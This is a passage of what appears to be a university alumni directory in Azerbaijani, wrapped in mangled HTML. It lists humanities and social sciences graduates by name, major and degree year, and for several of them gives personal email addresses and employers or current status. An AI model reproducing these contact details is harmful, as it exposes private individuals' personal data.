style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Solmaz Süleymanova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Səfər Səfərov</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Politalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2006&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Sahib Məmmədov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Jurnalistika&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Səbinə Məmmədova &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politalogiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Sevinc Əhmədova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Klinik Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2014&nbsp;(Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Sevda Tağızadə&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Sübhanə Osmanqızı&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Səid Əliyev</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Tərcümə&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Sabir Nəbiyev&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Tərcümə&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Səkinə Rzayeva</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Psixologiya&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"Ş\">Ş</h3><p><strong>Şarmin Qəhrəmanova</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:shermin_gahramanova@mail.ru\">shermin_gahramanova[at]mail.ru</a> &nbsp;</p>\r\n<p>Azer Trade Electronics\r\nLLC&nbsp;(1C operator)</p>\r\n<p>Polşa,\r\nVarşava- AIESEC Universiteti, ingilis dili müəllimi<strong></strong></p>  <p><strong><br></strong></p><p><strong>Şəbnəm Behbudzadə </strong> <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:shebnem.behbudova@gmail.com\" target=\"_blank\">shebnem.behbudova[at]gmail.com</a></p>\r\n<p>Cəmşid Naxçıvanski adına\r\nHərbi lisey, kompüter operatoru</p><p><br></p><strong><p>Şahmar Mehdiyev</p></strong><p>Humanitar və Sosial Elmlər fakültəsi</p><p>Regionşünaslıq, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:mehdiyev.shamar@yahoo.com\">mehdiyev.shamar[at]yahoo.com</a></p><p>Hərbi xidmətdə</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Şahsənəm Qarayeva &nbsp;</strong>  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Şahnaz Həsənzadə &nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Jurnalistika&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr &nbsp;2006</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Şəhla Qulamova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Şahin Xəlili&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Politalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Şahmar Əhmədov&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"T\"><strong>T</strong></h3><p><strong>Tural Əliyev</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Beynəlxalq Münasibətlər, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Turalaliyev303@gmail.com\">Turalaliyev303[at]gmail.com</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Təbriz Abdinli </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:tebriz_abdinli94@mail.ru\">tebriz_abdinli94[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Turkeş Məmmədov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:tr.mammadov@gmail.com\">tr.mammadov[at]gmail.com</a>&nbsp;&nbsp;</p><p><strong><br></strong></p><p><strong>Təhminə Məmmədova</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:memmedova132@mail.ru\">memmedova132[at]mail.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Turan Əhmədli</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Turanahmedov@bk.ru\">Turanahmedov[at]bk.ru</a>&nbsp;&nbsp;&nbsp; </p>\r\n<p>Təhsil: ADİU, MA oxuyur</p>\r\n<p>İş yeri: “Education home” course teacher</p>\r\n<p><strong><br></strong></p><p><strong>Tərlan Qənbərova </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Klinik psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:terlanqenberova@gmail.com\">terlanqenberova[at]gmail.com</a></p>\r\n<p>Polşada yaşayır</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Talıb Talıbzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Politalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Təbriz Qurbanlı&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Türkay Rəcəbli&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Regionşünaslıq&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Tural Əmənov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politologiya&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2007&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Türkan Mustafazadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İngilis dili və ədəbiyyat&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012 &nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Tamaşa Oruczadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2012&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Tural</strong>&nbsp;&nbsp;Babayev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">AccesBank Aparıcı mütəxəssis</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Tünzalə&nbsp;Cabbarova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Regionşünaslıq</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">“Moscow\r\nAnt Yapi” tikinti şirkəti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:Grace_19@mail.ru\">Grace_19@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Tərlan Bəxtiyarov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hərbi xidmətdə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong></strong></strong></p><h3 id=\"Ü\"><strong><strong>Ü</strong></strong></h3><p><strong>Ülkər Rəsulova </strong> <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ulya95_sw@outlook.com\">ulya95_sw[at]outlook.com</a></p>\r\n<p>“Esperanto” və “Master Class” kursları, ingilis dili\r\nmüəllimi</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Ülvi Allahverdi&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Ülkər Camalova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">İngilis dili və Ədəbiyyatı&nbsp;<br></p><p 